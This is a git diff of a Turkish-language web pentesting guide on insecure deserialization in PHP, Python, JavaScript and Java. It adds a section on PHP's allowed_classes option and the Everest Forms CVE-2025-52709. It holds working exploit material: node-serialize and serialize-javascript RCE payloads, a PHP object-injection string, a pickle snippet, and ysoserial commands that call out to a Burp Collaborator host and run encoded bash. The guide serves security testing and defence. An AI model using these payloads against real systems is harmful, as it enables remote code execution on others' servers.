diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 103b9c91c..2e7f256e9 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -6,19 +6,19 @@ **Serialization**, bir nesneyi saklanabilir bir formata dönüştürme yöntemi olarak anlaşılmaktadır; bu, nesneyi depolama veya bir iletişim sürecinin parçası olarak iletme amacı taşır. Bu teknik, nesnenin daha sonra yeniden oluşturulabilmesini sağlamak için yaygın olarak kullanılır ve yapısını ve durumunu korur. -**Deserialization** ise, tersine, serileştirmeyi etkisiz hale getiren bir süreçtir. Belirli bir formatta yapılandırılmış verileri almayı ve bunları tekrar bir nesne haline getirmeyi içerir. +**Deserialization** ise, tersine, serileştirmeyi karşıt bir süreçtir. Belirli bir formatta yapılandırılmış verileri alıp, tekrar bir nesne haline getirmeyi içerir. -Deserialization tehlikeli olabilir çünkü potansiyel olarak **saldırganların serileştirilmiş verileri manipüle ederek zararlı kod çalıştırmalarına** veya nesne yeniden yapılandırma sürecinde uygulamada beklenmedik davranışlar yaratmalarına olanak tanır. +Deserialization tehlikeli olabilir çünkü potansiyel olarak **saldırganların serileştirilmiş verileri manipüle ederek zararlı kod çalıştırmasına** veya nesne yeniden yapılandırma sürecinde uygulamada beklenmedik davranışlar oluşturmasına olanak tanır. ## PHP -PHP'de, serileştirme ve deserialization süreçlerinde belirli sihirli yöntemler kullanılmaktadır: +PHP'de, serileştirme ve deserialization süreçlerinde belirli sihirli yöntemler kullanılır: -- `__sleep`: Bir nesne serileştirilirken çağrılır. Bu yöntem, serileştirilmesi gereken nesnenin tüm özelliklerinin adlarını içeren bir dizi döndürmelidir. Genellikle bekleyen verileri taahhüt etmek veya benzer temizlik görevlerini yerine getirmek için kullanılır. -- `__wakeup`: Bir nesne deserialized edilirken çağrılır. Serileştirme sırasında kaybolmuş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini yerine getirmek için kullanılır. -- `__unserialize`: Bu yöntem, bir nesne deserialized edilirken `__wakeup` yerine çağrılır (varsa). Deserialization süreci üzerinde `__wakeup`'a kıyasla daha fazla kontrol sağlar. +- `__sleep`: Bir nesne serileştirildiğinde çağrılır. Bu yöntem, serileştirilmesi gereken nesnenin tüm özelliklerinin adlarını içeren bir dizi döndürmelidir. Genellikle bekleyen verileri taahhüt etmek veya benzer temizlik görevlerini yerine getirmek için kullanılır. +- `__wakeup`: Bir nesne deserialized edildiğinde çağrılır. Serileştirme sırasında kaybolmuş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini yerine getirmek için kullanılır. +- `__unserialize`: Bu yöntem, bir nesne deserialized edilirken `__wakeup` yerine çağrılır (varsa). Deserialization süreci üzerinde `__wakeup`'a göre daha fazla kontrol sağlar. - `__destruct`: Bu yöntem, bir nesne yok edilmek üzereyken veya script sona erdiğinde çağrılır. Genellikle dosya tanıtıcılarını veya veritabanı bağlantılarını kapatmak gibi temizlik görevleri için kullanılır. -- `__toString`: Bu yöntem, bir nesnenin bir string olarak işlenmesine olanak tanır. Bir dosyayı okumak veya içindeki işlev çağrılarına dayalı diğer görevler için kullanılabilir ve nesnenin metinsel bir temsilini sağlar. +- `__toString`: Bu yöntem, bir nesnenin bir string olarak muamele görmesine olanak tanır. Bir dosyayı okumak veya içindeki fonksiyon çağrılarına dayalı diğer görevler için kullanılabilir ve nesnenin metinsel temsilini etkili bir şekilde sağlar. ```php */ ?> ``` -Eğer sonuçlara bakarsanız, **`__wakeup`** ve **`__destruct`** fonksiyonlarının nesne serileştirildiğinde çağrıldığını görebilirsiniz. Birçok eğitimde **`__toString`** fonksiyonunun bazı özellikleri yazdırmaya çalışırken çağrıldığını göreceksiniz, ancak görünüşe göre bu **artık olmuyor**. +Eğer sonuçlara bakarsanız, nesne serileştirildiğinde **`__wakeup`** ve **`__destruct`** fonksiyonlarının çağrıldığını görebilirsiniz. Birçok eğitimde **`__toString`** fonksiyonunun bazı özellikleri yazdırmaya çalışırken çağrıldığını göreceksiniz, ancak görünüşe göre bu **artık olmuyor**. > [!WARNING] > Eğer sınıfta uygulanmışsa, **`__unserialize(array $data)`** metodu **`__wakeup()`** yerine çağrılır. Bu, serileştirilmiş veriyi bir dizi olarak sağlayarak nesneyi serileştirmeye olanak tanır. Bu metodu, özellikleri serileştirmek ve serileştirme sırasında gerekli görevleri yerine getirmek için kullanabilirsiniz. > > ```php > class MyClass { -> private $property; +> private $property; > -> public function __unserialize(array $data): void { -> $this->property = $data['property']; -> // Serileştirme sırasında gerekli görevleri yerine getirin. -> } +> public function __unserialize(array $data): void { +> $this->property = $data['property']; +> // Serileştirme sırasında gerekli görevleri yerine getirin. +> } > } > ``` @@ -94,7 +94,7 @@ Açıklamalı bir **PHP örneğini burada** okuyabilirsiniz: [https://www.notsos ### PHP Deserial + Autoload Sınıfları -PHP otomatik yükleme işlevselliğini, keyfi php dosyalarını yüklemek ve daha fazlası için kötüye kullanabilirsiniz: +Arbitrary php dosyalarını yüklemek ve daha fazlası için PHP otomatik yükleme işlevselliğini kötüye kullanabilirsiniz: {{#ref}} php-deserialization-+-autoload-classes.md @@ -102,7 +102,7 @@ php-deserialization-+-autoload-classes.md ### Referans Değerleri Serileştirme -Eğer bir nedenle bir değeri **başka bir serileştirilmiş değere referans olarak** serileştirmek istiyorsanız, bunu yapabilirsiniz: +Herhangi bir nedenle bir değeri **başka bir serileştirilmiş değere referans olarak** serileştirmek istiyorsanız: ```php param1 =& $o->param22; $o->param = "PARAM"; $ser=serialize($o); ``` -### PHPGGC (ysoserial for PHP) +### PHP Nesne Enjeksiyonunu `allowed_classes` ile Önleme -[**PHPGGC**](https://github.com/ambionics/phpggc) PHP deserialization'larını kötüye kullanmak için payload'lar oluşturmanıza yardımcı olabilir.\ +> [!INFO] +> `unserialize()` fonksiyonunun **ikinci argümanı** ( `$options` dizisi) **PHP 7.0**'da eklendi. Daha eski sürümlerde fonksiyon yalnızca serileştirilmiş dizeyi kabul eder, bu da hangi sınıfların örnekleneceğini kısıtlamayı imkansız hale getirir. + +`unserialize()` serileştirilmiş akışta bulduğu **her sınıfı** örneklendirir, aksi belirtilmedikçe. PHP 7'den itibaren bu davranış [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) seçeneği ile kısıtlanabilir: +```php +// NEVER DO THIS – full object instantiation +$object = unserialize($userControlledData); + +// SAFER – disable object instantiation completely +$object = unserialize($userControlledData, [ +'allowed_classes' => false // no classes may be created +]); + +// Granular – only allow a strict white-list of models +$object = unserialize($userControlledData, [ +'allowed_classes' => [MyModel::class, DateTime::class] +]); +``` +Eğer **`allowed_classes` belirtilmemişse _veya_ kod PHP < 7.0 üzerinde çalışıyorsa**, çağrı **tehlikeli** hale gelir çünkü bir saldırgan, Uzak Kod Çalıştırma (RCE) elde etmek için `__wakeup()` veya `__destruct()` gibi sihirli yöntemleri istismar eden bir yük oluşturabilir. + +#### Gerçek dünya örneği: Everest Forms (WordPress) CVE-2025-52709 + +WordPress eklentisi **Everest Forms ≤ 3.2.2**, bir yardımcı sarmalayıcı ile savunmacı olmaya çalıştı ancak eski PHP sürümlerini unuttu: +```php +function evf_maybe_unserialize($data, $options = array()) { +if (is_serialized($data)) { +if (version_compare(PHP_VERSION, '7.1.0', '>=')) { +// SAFE branch (PHP ≥ 7.1) +$options = wp_parse_args($options, array('allowed_classes' => false)); +return @unserialize(trim($data), $options); +} +// DANGEROUS branch (PHP < 7.1) +return @unserialize(trim($data)); +} +return $data; +} +``` +**PHP ≤ 7.0** çalışan sunucularda bu ikinci dal, bir yöneticinin kötü niyetli bir form gönderimini açması durumunda klasik bir **PHP Nesne Enjeksiyonu** ile sonuçlandı. Minimal bir istismar yükü şöyle görünebilir: +``` +O:8:"SomeClass":1:{s:8:"property";s:28:"";} +``` +Yönetici girişi görüntülediği anda, nesne oluşturuldu ve `SomeClass::__destruct()` çalıştırıldı, bu da rastgele kod yürütülmesine yol açtı. + +**Alınacak dersler** +1. `unserialize()` çağrılırken her zaman `['allowed_classes' => false]` (veya katı bir beyaz liste) geçirin. +2. Savunma sarmallarını denetleyin – genellikle eski PHP dallarını unutur. +3. Sadece **PHP ≥ 7.x**'ye yükseltmek *yeterli değildir*: seçenek hala açıkça sağlanmalıdır. + +--- + +### PHPGGC (PHP için ysoserial) + +[**PHPGGC**](https://github.com/ambionics/phpggc), PHP deserialization'larını kötüye kullanmak için yükler oluşturmanıza yardımcı olabilir.\ Uygulamanın kaynak kodunda bir deserialization'ı kötüye kullanmanın bir yolunu **bulamayabileceğinizi** unutmayın, ancak **harici PHP uzantılarının kodunu kötüye kullanabilirsiniz.**\ Bu nedenle, mümkünse, sunucunun `phpinfo()`'sunu kontrol edin ve **internette** (hatta **PHPGGC**'nin **gadgets**'lerinde) kötüye kullanabileceğiniz bazı olası gadget'ları arayın. ### phar:// metadata deserialization -Eğer sadece dosyayı okuyan ve içindeki php kodunu çalıştırmayan bir LFI bulduysanız, örneğin _**file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize()**_** gibi fonksiyonlar kullanarak.** **phar** protokolünü kullanarak bir **dosya** **okurken** meydana gelen bir **deserialization**'ı kötüye kullanmayı deneyebilirsiniz.\ +Eğer sadece dosyayı okuyan ve içindeki php kodunu çalıştırmayan bir LFI bulduysanız, örneğin _**file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize()**_ gibi fonksiyonlar kullanarak.\ +**phar** protokolünü kullanarak bir **dosya** okurken meydana gelen bir **deserialization**'ı kötüye kullanmayı deneyebilirsiniz.\ Daha fazla bilgi için aşağıdaki gönderiyi okuyun: {{#ref}} @@ -145,7 +198,7 @@ print(base64.b64encode(pickle.dumps(P()))) ``` Önce bypass tekniğini kontrol etmeden önce, python3 çalıştırıyorsanız `print(base64.b64encode(pickle.dumps(P(),2)))` kullanarak python2 ile uyumlu bir nesne oluşturmayı deneyin. -**pickle jails**'dan kaçış hakkında daha fazla bilgi için kontrol edin: +**pickle jails**'den kaçış hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ @@ -169,10 +222,10 @@ python-yaml-deserialization.md ### JS Magic Functions -JS **PHP veya Python gibi "sihirli"** fonksiyonlara sahip değildir; bu fonksiyonlar yalnızca bir nesne oluşturmak için çalıştırılacaktır. Ancak, **doğrudan çağrılmadan** bile **sıklıkla kullanılan bazı fonksiyonlar** vardır; bunlar arasında **`toString`**, **`valueOf`**, **`toJSON`** bulunmaktadır.\ +JS **PHP veya Python gibi "sihirli" fonksiyonlara** sahip değildir; bu fonksiyonlar yalnızca bir nesne oluşturmak için çalıştırılacaktır. Ancak, **doğrudan çağrılmadan** sıkça kullanılan bazı **fonksiyonlar** vardır, örneğin **`toString`**, **`valueOf`**, **`toJSON`**.\ Eğer bir deserialization'ı kötüye kullanıyorsanız, bu fonksiyonları **diğer kodları çalıştırmak için tehlikeye atabilirsiniz** (potansiyel olarak prototype kirliliğini kötüye kullanarak) ve çağrıldıklarında rastgele kod çalıştırabilirsiniz. -Bir fonksiyonu doğrudan çağırmadan **"sihirli"** bir şekilde çağırmanın bir diğer yolu, **bir async fonksiyondan dönen bir nesneyi tehlikeye atmaktır** (promise). Çünkü, eğer o **dönüş nesnesini** **"then" adında bir fonksiyon türünde bir **özellik** ile başka bir **promise**'e **dönüştürürseniz**, bu, başka bir promise tarafından döndürüldüğü için **çalıştırılacaktır**. _Daha fazla bilgi için_ [_**bu bağlantıyı**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _takip edin._ +Başka bir **"sihirli" yol**, bir fonksiyonu doğrudan çağırmadan **bir async fonksiyondan (promise) dönen bir nesneyi tehlikeye atarak** çağırmaktır. Çünkü, eğer o **dönüş nesnesini** **"then" adında bir fonksiyon türünde bir **özellik** ile başka bir **promise**'e **dönüştürürseniz**, başka bir promise tarafından döndürüldüğü için **çalıştırılacaktır**. _Daha fazla bilgi için_ [_**bu bağlantıyı**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _takip edin._ ```javascript // If you can compromise p (returned object) to be a promise // it will be executed just because it's the return object of an async function: @@ -234,7 +287,7 @@ console.log("Serialized: \n" + payload_serialized) Son kod parçasında görebileceğiniz gibi, **eğer bayrak bulunursa** `eval` fonksiyonu kullanılarak fonksiyon serileştirilir, bu nedenle temelde **kullanıcı girişi `eval` fonksiyonu içinde kullanılmaktadır**. Ancak, **sadece bir fonksiyonu serileştirmek** **onu çalıştırmaz**, çünkü kodun bir kısmının **`y.rce`'yi çağırması** gerekir ve bu oldukça **olasılık dışıdır**.\ -Yine de, serileştirilmiş nesneyi **değiştirerek** **bazı parantezler ekleyerek** nesne serileştirildiğinde serileştirilmiş fonksiyonun otomatik olarak çalışmasını sağlayabilirsiniz.\ +Yine de, serileştirilmiş nesneyi **bazı parantezler ekleyerek** **değiştirerek**, nesne serileştirildiğinde serileştirilmiş fonksiyonun otomatik olarak çalışmasını sağlayabilirsiniz.\ Son kod parçasında **son parantezi** ve `unserialize` fonksiyonunun kodu otomatik olarak nasıl çalıştıracağını gözlemleyin: ```javascript var serialize = require("node-serialize") @@ -243,20 +296,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er } serialize.unserialize(test) ``` -Daha önce belirtildiği gibi, bu kütüphane `_$$ND_FUNC$$_` sonrasındaki kodu alacak ve **çalıştıracak**. Bu nedenle, **otomatik olarak kod çalıştırmak** için **fonksiyon oluşturma** kısmını ve son parantezi **silip sadece bir JS tek satırı çalıştırabilirsiniz**; aşağıdaki örnekte olduğu gibi: +Daha önce belirtildiği gibi, bu kütüphane `_$$ND_FUNC$$_` sonrasındaki kodu alacak ve **çalıştıracak** `eval` kullanarak. Bu nedenle, **otomatik olarak kod çalıştırmak** için **fonksiyon oluşturma** kısmını ve son parantezi **silip sadece bir JS tek satırı çalıştırabilirsiniz** aşağıdaki örnekteki gibi: ```javascript var serialize = require("node-serialize") var test = "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}" serialize.unserialize(test) ``` -Bu güvenliği istismar etme hakkında [**buradan**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **daha fazla bilgi** bulabilirsiniz. +Bu güvenlik açığını nasıl istismar edeceğinize dair **daha fazla bilgiye** [**buradan**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) ulaşabilirsiniz. ### [funcster](https://www.npmjs.com/package/funcster) **funcster**'ın dikkate değer bir yönü, **standart yerleşik nesnelerin** erişilemezliğidir; bunlar erişilebilir kapsamın dışındadır. Bu kısıtlama, yerleşik nesneler üzerinde yöntem çağırmaya çalışan kodların çalıştırılmasını engeller ve `console.log()` veya `require(something)` gibi komutlar kullanıldığında `"ReferenceError: console is not defined"` gibi istisnalara yol açar. -Bu sınırlamaya rağmen, tüm standart yerleşik nesneler dahil olmak üzere küresel bağlama tam erişimin geri kazanılması, belirli bir yaklaşım aracılığıyla mümkündür. Küresel bağlamı doğrudan kullanarak, bu kısıtlamayı aşmak mümkündür. Örneğin, aşağıdaki kod parçası kullanılarak erişim yeniden sağlanabilir: +Bu sınırlamaya rağmen, belirli bir yaklaşım aracılığıyla, tüm standart yerleşik nesneler dahil olmak üzere küresel bağlama tam erişimin geri kazanılması mümkündür. Küresel bağlamı doğrudan kullanarak, bu kısıtlamayı aşmak mümkündür. Örneğin, aşağıdaki kod parçası kullanılarak erişim yeniden sağlanabilir: ```javascript funcster = require("funcster") //Serialization @@ -282,13 +335,13 @@ funcster.deepDeserialize(desertest3) ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) -**serialize-javascript** paketi yalnızca serileştirme amaçları için tasarlanmıştır ve yerleşik bir deserialization yeteneği yoktur. Kullanıcılar, deserialization için kendi yöntemlerini uygulamaktan sorumludur. Serileştirilmiş verileri deserialization için resmi örnek, `eval` kullanımını önermektedir: +**serialize-javascript** paketi yalnızca serileştirme amaçları için tasarlanmıştır ve yerleşik bir deserialization yeteneği yoktur. Kullanıcılar, deserialization için kendi yöntemlerini uygulamaktan sorumludur. Resmi örnek, serileştirilmiş verileri deseralize etmek için `eval`'in doğrudan kullanımını önermektedir: ```javascript function deserialize(serializedJavascript) { return eval("(" + serializedJavascript + ")") } ``` -Bu fonksiyon nesneleri deseralize etmek için kullanılıyorsa, **kolayca istismar edebilirsiniz**: +Bu fonksiyon nesneleri serileştirmek için kullanılıyorsa, **kolayca istismar edebilirsiniz**: ```javascript var serialize = require("serialize-javascript") //Serialization @@ -302,7 +355,7 @@ var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" deserialize(test) ``` -**Daha fazla bilgi için bu kaynağı okuyun**[ **source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** +**Daha fazla bilgi için bu kaynağı okuyun**[ **.**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) ### Cryo kütüphanesi @@ -313,13 +366,13 @@ Aşağıdaki sayfalarda, bu kütüphaneyi kötüye kullanarak rastgele komutlar ## Java - HTTP -Java'da, **deserialization geri çağrıları deserialization süreci sırasında çalıştırılır**. Bu yürütme, bu geri çağrıları tetikleyen kötü niyetli yükler oluşturan saldırganlar tarafından istismar edilebilir ve potansiyel olarak zararlı eylemlerin gerçekleştirilmesine yol açabilir. +Java'da, **deserialization geri çağırmaları deserialization süreci sırasında çalıştırılır**. Bu yürütme, bu geri çağırmaları tetikleyen kötü niyetli yükler oluşturan saldırganlar tarafından istismar edilebilir ve potansiyel olarak zararlı eylemlerin gerçekleştirilmesine yol açabilir. ### Parmak İzleri #### Beyaz Kutu -Kod tabanında potansiyel serileştirme zafiyetlerini tanımlamak için arayın: +Kod tabanında potansiyel seri hale getirme zafiyetlerini tanımlamak için şunları arayın: - `Serializable` arayüzünü uygulayan sınıflar. - `java.io.ObjectInputStream`, `readObject`, `readUnshare` fonksiyonlarının kullanımı. @@ -327,7 +380,7 @@ Kod tabanında potansiyel serileştirme zafiyetlerini tanımlamak için arayın: Aşağıdakilere ekstra dikkat edin: - Dış kullanıcılar tarafından tanımlanan parametrelerle kullanılan `XMLDecoder`. -- `XStream`'in `fromXML` metodu, özellikle XStream sürümü 1.46 veya daha düşükse, serileştirme sorunlarına karşı hassastır. +- `XStream`'in `fromXML` metodu, özellikle XStream sürümü 1.46 veya daha düşükse, çünkü seri hale getirme sorunlarına açıktır. - `readObject` metodu ile birlikte kullanılan `ObjectInputStream`. - `readObject`, `readObjectNodData`, `readResolve` veya `readExternal` gibi yöntemlerin uygulanması. - `ObjectInputStream.readUnshared`. @@ -335,7 +388,7 @@ Aşağıdakilere ekstra dikkat edin: #### Siyah Kutu -Siyah kutu testleri için, java serileştirilmiş nesnelerini belirten belirli **imzalar veya "Sihirli Baytlar"** arayın ( `ObjectInputStream`'den kaynaklanan): +Siyah kutu testleri için, java seri hale getirilmiş nesnelerini belirten belirli **imzalar veya "Sihirli Baytlar"** arayın ( `ObjectInputStream`'den kaynaklanan): - Onaltılık desen: `AC ED 00 05`. - Base64 deseni: `rO0`. @@ -348,7 +401,7 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA ``` ### Zayıf olup olmadığını kontrol et -Eğer **Java Deserialized bir exploit'in nasıl çalıştığını öğrenmek** istiyorsanız, [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) ve [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) belgelerine göz atmalısınız. +Eğer **Java Deserialized bir exploit'in nasıl çalıştığını öğrenmek istiyorsanız** [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) ve [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) belgelerine göz atmalısınız. #### Beyaz Kutu Testi @@ -367,7 +420,7 @@ Burp eklentisi [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) ku [**GadgetProbe hakkında daha fazla bilgi için bunu okuyun.**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ GadgetProbe, **`ObjectInputStream` deserialization**'larına odaklanmıştır. -Burp eklentisi [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kullanarak **ysoserial ile istismar edilebilen zayıf kütüphaneleri** belirleyebilir ve **istismar** edebilirsiniz.\ +Burp eklentisi [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kullanarak **ysoserial ile istismar edilebilen zayıf kütüphaneleri** belirleyebilirsiniz ve **bunları istismar** edebilirsiniz.\ [**Java Deserialization Scanner hakkında daha fazla bilgi için bunu okuyun.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ Java Deserialization Scanner, **`ObjectInputStream`** deserialization'larına odaklanmıştır. @@ -376,7 +429,7 @@ Ayrıca, **Burp** içinde **deserialization** zayıflıklarını **tespit etmek **Serileştirme Testi** -Her şey, sunucu tarafından kullanılan herhangi bir zayıf kütüphaneyi kontrol etmekle ilgili değildir. Bazen, **serileştirilmiş nesne içindeki verileri değiştirebilir ve bazı kontrolleri atlayabilirsiniz** (belki bir web uygulaması içinde size yönetici ayrıcalıkları verebilir).\ +Sunucu tarafından kullanılan herhangi bir zayıf kütüphaneyi kontrol etmekle ilgili her şey değil. Bazen, **serileştirilmiş nesne içindeki verileri değiştirebilir ve bazı kontrolleri atlayabilirsiniz** (belki bir web uygulaması içinde size yönetici ayrıcalıkları verebilir).\ Bir web uygulamasına gönderilen bir java serileştirilmiş nesnesi bulursanız, **gönderilen serileştirme nesnesini daha okunabilir bir formatta yazdırmak için** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **kullanabilirsiniz**. Hangi verileri gönderdiğinizi bilmek, bunları değiştirmeyi ve bazı kontrolleri atlamayı kolaylaştıracaktır. ### **İstismar** @@ -385,7 +438,7 @@ Bir web uygulamasına gönderilen bir java serileştirilmiş nesnesi bulursanız Java deserialization'larını istismar etmek için ana araç [**ysoserial**](https://github.com/frohoff/ysoserial) ([**buradan indirin**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ayrıca, karmaşık komutlar (örneğin, borular ile) kullanmanıza olanak tanıyacak [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) kullanmayı da düşünebilirsiniz.\ Bu aracın **`ObjectInputStream`** istismarına **odaklandığını** unutmayın.\ -İnjeksyonun mümkün olup olmadığını test etmek için **RCE** yükünden önce **"URLDNS"** yükünü kullanmaya **başlayacağım**. Her durumda, "URLDNS" yükünün çalışmadığını, ancak başka bir RCE yükünün çalıştığını unutmayın. +İnjeksyonun mümkün olup olmadığını test etmek için **RCE** yükünden önce **"URLDNS"** yükünü kullanmaya **başlayacağım**. Her durumda, "URLDNS" yükünün çalışmadığını ancak başka bir RCE yükünün çalıştığını unutmayın. ```bash # PoC to make the application perform a DNS req java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload @@ -430,7 +483,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb # Base64 encode payload in base64 base64 -w0 payload ``` -Bir **java.lang.Runtime.exec()** için payload oluştururken, bir yürütmenin çıktısını yönlendirmek için ">" veya "|" gibi **özel karakterler** kullanamazsınız, komutları yürütmek için "$()" kullanamazsınız veya bir komuta **boşluklarla** ayrılmış **argümanlar** bile geçiremezsiniz ( `echo -n "hello world"` yapabilirsiniz ama `python2 -c 'print "Hello world"'` yapamazsınız). Payload'ı doğru bir şekilde kodlamak için [bu web sayfasını](http://www.jackson-t.ca/runtime-exec-payloads.html) kullanabilirsiniz. +**java.lang.Runtime.exec()** için bir payload oluştururken, bir yürütmenin çıktısını yönlendirmek için ">" veya "|" gibi **özel karakterler** kullanamazsınız, komutları yürütmek için "$()" kullanamazsınız veya bir komuta **boşluklarla** ayrılmış **argümanlar** bile geçiremezsiniz ( `echo -n "hello world"` yapabilirsiniz ama `python2 -c 'print "Hello world"'` yapamazsınız). Payload'u doğru bir şekilde kodlamak için [bu web sayfasını](http://www.jackson-t.ca/runtime-exec-payloads.html) kullanabilirsiniz. Windows ve Linux için **tüm olası kod yürütme** payload'larını oluşturmak ve ardından bunları savunmasız web sayfasında test etmek için aşağıdaki scripti kullanmaktan çekinmeyin: ```python @@ -455,11 +508,11 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local') ``` #### serialkillerbypassgadgets -You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) +**Daha fazla exploit oluşturmak için** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **ve ysoserial'i kullanabilirsiniz**. Bu aracın daha fazla bilgisi, aracın sunulduğu **konuşmanın slaytlarında** bulunmaktadır: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) #### marshalsec -[**marshalsec** ](https://github.com/mbechler/marshalsec) farklı **Json** ve **Yml** serileştirme kütüphanelerini istismar etmek için yükler oluşturmak üzere kullanılabilir.\ +[**marshalsec** ](https://github.com/mbechler/marshalsec), Java'daki farklı **Json** ve **Yml** serileştirme kütüphanelerini istismar etmek için yükler oluşturmak için kullanılabilir.\ Projeyi derlemek için `pom.xml` dosyasına bu **bağımlılıkları** **eklemem** gerekti: ```html @@ -475,7 +528,7 @@ Projeyi derlemek için `pom.xml` dosyasına bu **bağımlılıkları** **eklemem pom ``` -**Maven'ı kurun** ve **projeyi derleyin**: +**Maven'ı yükleyin** ve **projeyi derleyin**: ```bash sudo apt-get install maven mvn clean package -DskipTests @@ -503,7 +556,7 @@ Java, çeşitli amaçlar için çok fazla serileştirme kullanır: #### Geçici nesneler -`Serializable` arayüzünü uygulayan bir sınıf, serileştirilemeyecek herhangi bir nesneyi sınıf içinde `transient` olarak işaretleyebilir. Örneğin: +`Serializable` arayüzünü uygulayan bir sınıf, serileştirilemeyecek herhangi bir nesneyi `transient` olarak işaretleyebilir. Örneğin: ```java public class myAccount implements Serializable { @@ -512,7 +565,7 @@ private transient double margin; // declared transient ``` #### Serializable'ı Uygulaması Gereken Bir Sınıfın Serileştirilmesinden Kaçının -Belirli **nesnelerin sınıf hiyerarşisi nedeniyle `Serializable`** arayüzünü uygulaması gereken senaryolarda, istemeden deserialization riski vardır. Bunu önlemek için, aşağıda gösterildiği gibi, sürekli bir istisna fırlatan `final` bir `readObject()` metodu tanımlayarak bu nesnelerin deserializable olmadığından emin olun: +Belirli **nesnelerin sınıf hiyerarşisi nedeniyle `Serializable`** arayüzünü uygulaması gereken senaryolarda, istemeden deserialization riski vardır. Bunu önlemek için, aşağıda gösterildiği gibi, bu nesnelerin deserializable olmalarını sağlamak için sürekli bir istisna fırlatan `final` bir `readObject()` metodu tanımlayın: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); @@ -523,9 +576,9 @@ throw new java.io.IOException("Cannot be deserialized"); **`java.io.ObjectInputStream`'i Özelleştirmek**, deserialization süreçlerini güvence altına almak için pratik bir yaklaşımdır. Bu yöntem, aşağıdaki durumlarda uygundur: - Deserialization kodu kontrolünüz altındadır. -- Deserialization için beklenen sınıflar biliniyor. +- Deserialization için beklenen sınıflar bilinmektedir. -Sadece izin verilen sınıflara deserialization'ı sınırlamak için **`resolveClass()`** yöntemini geçersiz kılın. Bu, yalnızca açıkça izin verilen sınıfların, aşağıdaki örnekte olduğu gibi, `Bicycle` sınıfına deserialization yapılmasını sağlar: +Sadece izin verilen sınıflara deserialization'ı sınırlamak için **`resolveClass()`** yöntemini geçersiz kılın. Bu, yalnızca açıkça izin verilen sınıfların, örneğin deserialization'ı yalnızca `Bicycle` sınıfı ile sınırlayan aşağıdaki örnekte olduğu gibi, deserialization'ını önler: ```java // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html public class LookAheadObjectInputStream extends ObjectInputStream { @@ -546,7 +599,7 @@ return super.resolveClass(desc); } } ``` -**Güvenlik Artırımı için Java Ajanı Kullanımı** kod değişikliği mümkün olmadığında bir geri dönüş çözümü sunar. Bu yöntem esasen **zararlı sınıfları kara listeye alma** için bir JVM parametresi kullanır: +**Güvenlik Artırımı için Java Ajansı Kullanımı**, kod değişikliği mümkün olmadığında bir geri dönüş çözümü sunar. Bu yöntem esasen **zararlı sınıfları kara listeye alma** için bir JVM parametresi kullanır: ``` -javaagent:name-of-agent.jar ``` @@ -570,8 +623,8 @@ ObjectInputFilter.Config.setSerialFilter(filter); ``` **Dış Kütüphaneleri Kullanarak Güvenliği Artırma**: **NotSoSerial**, **jdeserialize** ve 